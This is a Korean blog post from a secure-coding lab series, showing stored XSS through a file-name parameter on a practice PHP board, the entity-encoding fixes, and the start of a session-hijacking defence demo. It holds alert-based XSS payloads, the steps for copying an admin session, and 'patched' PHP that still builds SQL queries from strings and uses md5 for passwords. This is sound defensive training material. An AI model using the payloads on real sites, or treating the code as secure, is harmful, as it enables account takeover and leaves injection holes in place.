&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;853&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sNRgN/btsL1jdZjxI/3OtR7CtS9xPXi1iyjQwcD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sNRgN/btsL1jdZjxI/3OtR7CtS9xPXi1iyjQwcD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sNRgN/btsL1jdZjxI/3OtR7CtS9xPXi1iyjQwcD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsNRgN%2FbtsL1jdZjxI%2F3OtR7CtS9xPXi1iyjQwcD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;941&quot; height=&quot;853&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;853&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트에서 oldfile 이라는 파라미터를 확인할 수 있디.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;oldfile 은 이전 파일명으로, 값이 존재하면 예전 파일은 그대로 저장하고 새로운 파일이 있으면 새로운 파일명으로 교체하는 파라미터이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최초 게시글 작성 시에는 파일명에 꺽쇠가 들어가면 에러가 발생하지만, 게시글 수정 시에는 적용되어있지 않아 XSS 공격에 취약한 부분이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;oldfile 파라미터에 test 문자열을 삽입해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;507&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIypcf/btsL1gaTarN/1Pg0DxsgoJUHZleTfMVWt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIypcf/btsL1gaTarN/1Pg0DxsgoJUHZleTfMVWt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIypcf/btsL1gaTarN/1Pg0DxsgoJUHZleTfMVWt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIypcf%2FbtsL1gaTarN%2F1Pg0DxsgoJUHZleTfMVWt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;507&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;507&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test 문자열 삽입 후 Intercept Off 후 다시 해당 게시글을 확인하면 다음과 같이 test 문자열이 파일명으로 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 oldfile 파라미터를 활용하여 파일명에 문자열을 삽입할 수 있음을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;734&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bppPfJ/btsL0PSbfv7/hyrfQRYRWS2rjzVvcjhKE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bppPfJ/btsL0PSbfv7/hyrfQRYRWS2rjzVvcjhKE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bppPfJ/btsL0PSbfv7/hyrfQRYRWS2rjzVvcjhKE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbppPfJ%2FbtsL0PSbfv7%2FhyrfQRYRWS2rjzVvcjhKE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;946&quot; height=&quot;734&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;734&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 oldfile 파라미터에 test&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt; 스크립트를 삽입하여 XSS 공격에 취약한지 확인해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;509&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/stFxP/btsL0n22ojp/Vjc0fp5QkXlQFjM7Iskgy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/stFxP/btsL0n22ojp/Vjc0fp5QkXlQFjM7Iskgy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/stFxP/btsL0n22ojp/Vjc0fp5QkXlQFjM7Iskgy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FstFxP%2FbtsL0n22ojp%2FVjc0fp5QkXlQFjM7Iskgy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;652&quot; height=&quot;509&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;509&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크립트 삽입 후 Intercept Off 후 다시 해당 게시글을 확인하면 다음과 같이 스크립트가 발생하여 경고창이 발생하는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;255&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LPY2K/btsL01LAJHg/UeNtcGo6WqGVkcRb4Kkof0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LPY2K/btsL01LAJHg/UeNtcGo6WqGVkcRb4Kkof0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LPY2K/btsL01LAJHg/UeNtcGo6WqGVkcRb4Kkof0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLPY2K%2FbtsL01LAJHg%2FUeNtcGo6WqGVkcRb4Kkof0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;255&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;255&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;735&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAA6iI/btsL02cGSVC/ESPsvmSSkJQ5LTo3WNqpT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAA6iI/btsL02cGSVC/ESPsvmSSkJQ5LTo3WNqpT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAA6iI/btsL02cGSVC/ESPsvmSSkJQ5LTo3WNqpT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAA6iI%2FbtsL02cGSVC%2FESPsvmSSkJQ5LTo3WNqpT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;735&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;735&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 취약점 진단 시 이처럼 파일명 관련 파라미터가 취약한 부분이 있을 수 있어 많이 활용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일명에는 HTML 태그를 사용할 필요가 없으므로, HTML Entity Encoding 을 적용해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;action.php 소스코드에서 modify 부분의 oldfile 변수에 xss_html_entity 함수를 적용해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 패턴이 있다면 정규표현식으로 필터링해줘도 된다. (확장자만 있고 다른 특수문자는 허용하지 않는)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 소스코드 oldfile 에 xss_html_entity 함수 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1737706395561&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	@session_start();
	header(&quot;Content-Type: text/html; charset=UTF-8&quot;);
	include ( './common.php' );

	$mode = $_REQUEST[&quot;mode&quot;];
	$db_conn = mysql_conn();
	
	if($mode == &quot;write&quot;) {
		$title = xss_html_entity($db_conn-&amp;gt;real_escape_string($_POST[&quot;title&quot;]));
		$id = $db_conn-&amp;gt;real_escape_string($_SESSION[&quot;id&quot;]);
		$writer = xss_html_entity($db_conn-&amp;gt;real_escape_string($_SESSION[&quot;name&quot;]));
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);
		$content = xss_html($db_conn-&amp;gt;real_escape_string($_POST[&quot;content&quot;]));
		$secret = $_POST[&quot;secret&quot;];
		$uploadFile = &quot;&quot;;

		if(empty($title) || empty($password) || empty($content)) {
			echo &quot;&amp;lt;script&amp;gt;alert('빈칸이 존재합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!empty($_FILES[&quot;userfile&quot;][&quot;name&quot;])) {
			$uploadFile = $_FILES[&quot;userfile&quot;][&quot;name&quot;];
			$uploadPath = &quot;{$upload_path}/{$uploadFile}&quot;;
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo(&quot;&amp;lt;script&amp;gt;alert('파일 업로드를 실패 하셨습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}
		}   
		
		if($secret == &quot;on&quot;) {
			$secret = &quot;y&quot;;
		} else {
			$secret = &quot;n&quot;;
		}
		
		$uploadFile = $db_conn-&amp;gt;real_escape_string($uploadFile);
		$content = str_replace(&quot;\r\n&quot;, &quot;&amp;lt;br&amp;gt;&quot;, $content);
		
		$query = &quot;insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$uploadFile}', '{$secret}', now())&quot;;
		$db_conn-&amp;gt;query($query);
	} else if($mode == &quot;modify&quot;) {
		$idx = $_POST[&quot;idx&quot;];
		$title = xss_html_entity($db_conn-&amp;gt;real_escape_string($_POST[&quot;title&quot;]));
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);
		$content = xss_html($db_conn-&amp;gt;real_escape_string($_POST[&quot;content&quot;]));
		$secret = $_POST[&quot;secret&quot;];
		$uploadFile = xss_html_entity($_POST[&quot;oldfile&quot;]);

		if(empty($idx) || empty($title) || empty($password) || empty($content)) {
			echo &quot;&amp;lt;script&amp;gt;alert('빈칸이 존재합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!is_numeric($idx)) {
			echo &quot;&amp;lt;script&amp;gt;alert('숫자 값만 가능합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}		

		# Password Check Logic
		$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!empty($_FILES[&quot;userfile&quot;][&quot;name&quot;])) {
			$uploadFile = $_FILES[&quot;userfile&quot;][&quot;name&quot;];
			$uploadPath = &quot;{$upload_path}/{$uploadFile}&quot;;
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo(&quot;&amp;lt;script&amp;gt;alert('파일 업로드를 실패 하셨습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}
		}
		
		if($secret == &quot;on&quot;) {
			$secret = &quot;y&quot;;
		} else {
			$secret = &quot;n&quot;;
		}
		
		$content = str_replace(&quot;\r\n&quot;, &quot;&amp;lt;br&amp;gt;&quot;, $content);
		$uploadFile = $db_conn-&amp;gt;real_escape_string($uploadFile);

		$query = &quot;update {$tb_name} set title='{$title}', content='{$content}', file='{$uploadFile}', secret='{$secret}', regdate=now() where idx={$idx}&quot;;
		$db_conn-&amp;gt;query($query);
	} else if($mode == &quot;delete&quot;) {
		$idx = $_POST[&quot;idx&quot;];
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);

		if(!is_numeric($idx)) {
			echo &quot;&amp;lt;script&amp;gt;alert('숫자 값만 가능합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}				
		
		# Password Check Logic
		$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
		
		$query = &quot;delete from {$tb_name} where idx={$idx}&quot;;
		$db_conn-&amp;gt;query($query);
	}

	echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
	$db_conn-&amp;gt;close();
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 oldfile 의 파라미터에 작성된 스크립트는 버프스위트를 활용하여 제거 후 다시 스크립트를 재작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트로 oldfile 에 스크립트 삽입 후 해당 게시글 확인 시 아래와 같이 HTML Entity Encoding이 적용되어 그대로 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;748&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLhnin/btsL1tOCFZJ/19jwv7hH9dFpuX0SzggJ6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLhnin/btsL1tOCFZJ/19jwv7hH9dFpuX0SzggJ6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLhnin/btsL1tOCFZJ/19jwv7hH9dFpuX0SzggJ6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLhnin%2FbtsL1tOCFZJ%2F19jwv7hH9dFpuX0SzggJ6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;748&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;748&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 작성 및 수정 부분에서는 XSS 취약점에 대해 시큐어 코딩을 적용하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;My Page를 확인하면 Name, E-mail, Company 는 입력칸의 데이터가 사용자에게 출력되므로 XSS에 취약하며, Password 는 데이터가 출력되지 않아 취약하지 않다(DB에 저장된 내용이 출력되지 않음).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Name, E-mail, Company 부분은 HTML 태그를 사용할 필요가 없으므로 HTML Entity Encoding 을 적용해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; mypage.php 소스코드 중 action 페이지 HTML Entity Encoding 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1737710751580&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	include_once(&quot;./common.php&quot;);

	$db_conn = mysql_conn();
	$id = $db_conn-&amp;gt;real_escape_string($_GET[&quot;id&quot;]);
	$gubun = $_POST[&quot;gubun&quot;];

	if($gubun == &quot;action&quot;) {
		$name = xss_html_entity($db_conn-&amp;gt;real_escape_string($_POST[&quot;name&quot;]));
		$email = xss_html_entity($db_conn-&amp;gt;real_escape_string($_POST[&quot;email&quot;]));
		$company = xss_html_entity($db_conn-&amp;gt;real_escape_string($_POST[&quot;company&quot;]));
		$password = $_POST[&quot;password&quot;];
		if(!empty($password)) {
			$password = md5($password);
			$query = &quot;update members set name='{$name}', email='{$email}', company='{$company}', password='{$password}' where id='{$id}'&quot;;
			$result = $db_conn-&amp;gt;query($query);
		} else {
			$query = &quot;update members set name='{$name}', email='{$email}', company='{$company}' where id='{$id}'&quot;;
			$result = $db_conn-&amp;gt;query($query);
		}
		echo &quot;&amp;lt;script&amp;gt;alert('회원정보 수정완료');&amp;lt;/script&amp;gt;&quot;;
	}

	$query = &quot;select * from members where id='{$id}'&quot;;

	$result = $db_conn-&amp;gt;query($query);
	$num = $result-&amp;gt;num_rows;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mypage.php 소스코드에 HTML Entity Enocoindg 적용 후 My Page 입력값에 XSS 공격을 시도해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Name 입력값에 해커&lt;b&gt;&quot; onfocus=alert(1) autofocus=&quot; &lt;/b&gt;문자열을 삽입한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;758&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFkaGv/btsL115q5XR/ReFK1uGBUDjOL3oqRRDKck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFkaGv/btsL115q5XR/ReFK1uGBUDjOL3oqRRDKck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFkaGv/btsL115q5XR/ReFK1uGBUDjOL3oqRRDKck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFkaGv%2FbtsL115q5XR%2FReFK1uGBUDjOL3oqRRDKck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;939&quot; height=&quot;758&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;758&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수정 후 My Page 를 확인하니 스크립트가 실행되지 않고 문자열 그대로 출력되는 것이 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 페이지 소스코드를 확인하니 아래와 같이 더블 쿼터 &quot; 가 &amp;amp;quot 로 치환된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1151&quot; data-origin-height=&quot;286&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/23UcW/btsL0OlMthU/baqsGk4lkWR2EigkTjPqJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/23UcW/btsL0OlMthU/baqsGk4lkWR2EigkTjPqJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/23UcW/btsL0OlMthU/baqsGk4lkWR2EigkTjPqJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F23UcW%2FbtsL0OlMthU%2FbaqsGk4lkWR2EigkTjPqJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1151&quot; height=&quot;286&quot; data-origin-width=&quot;1151&quot; data-origin-height=&quot;286&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판 작성 및 수정, My Page 에 대해 XSS 공격에 대한 시큐어 코딩을 완료하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습5-7 세션 하이재킹 공격 대응 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 공격을 통해 세션 하이재킹 공격을 할 수 있는데, 세션 하이재킹을 발생시키지 않으려면 근본적으로 XSS 공격을 막는 것이 최우선 순위이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;세션 하이재킹 막는 방법&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) XSS 방어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) HttpOnly 헤더 - document.cookie 를 통한 객체 접근 불가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) 세션 발급 시 인증 IP 넣기 (IP 검증)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 정상적인 ID 와 PW 가 담긴 요청자의 IP를 세션에 넣는다면 해당 IP는 안전한 IP로 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- A(1.1.1.1)가 웹 서버에 로그인 시 정상적인 요청을 통해 접근한다면, 1.1.1.1은 웹 서버에서 A의 IP로 인식되어 정상적인 사용자가 된다. 만약 B(2.2.2.2)가 A의 세션을 탈취하여 로그인하려해도, B의 IP는 1.1.1.1이 아니므로 A 계정으로 로그인이 성립되지 않는다. (최초 발급 IP와 IP가 달라 로그인 불가)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 매번 페이지 접근할 때마다 검증해야하는 불편함이 있으며, 카페와 같이 공인 IP를 공유하는 네트워크 공간에서는 내부 사설 IP는 달라도 공격자와 피해자의 공인 IP가 같아 공격자는 충분히 해당 인증에 대해 우회가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크롬과 엣지 브라우저를 사용하여 세션 하이재킹을 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크롬에서 관리자 계정으로 로그인 후 세션값을 복사한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1552&quot; data-origin-height=&quot;882&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I1xdQ/btsL2bG9znk/M2FfkQJ4bgn91Df09eg71K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I1xdQ/btsL2bG9znk/M2FfkQJ4bgn91Df09eg71K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I1xdQ/btsL2bG9znk/M2FfkQJ4bgn91Df09eg71K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI1xdQ%2FbtsL2bG9znk%2FM2FfkQJ4bgn91Df09eg71K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1552&quot; height=&quot;882&quot; data-origin-width=&quot;1552&quot; data-origin-height=&quot;882&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 계정 세션: 7afa259887da0bd69311348047090efe&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 계정 세션값을 복사해서 엣지 브라우저에 세션값을 붙여넣는다.&lt;/p&gt;
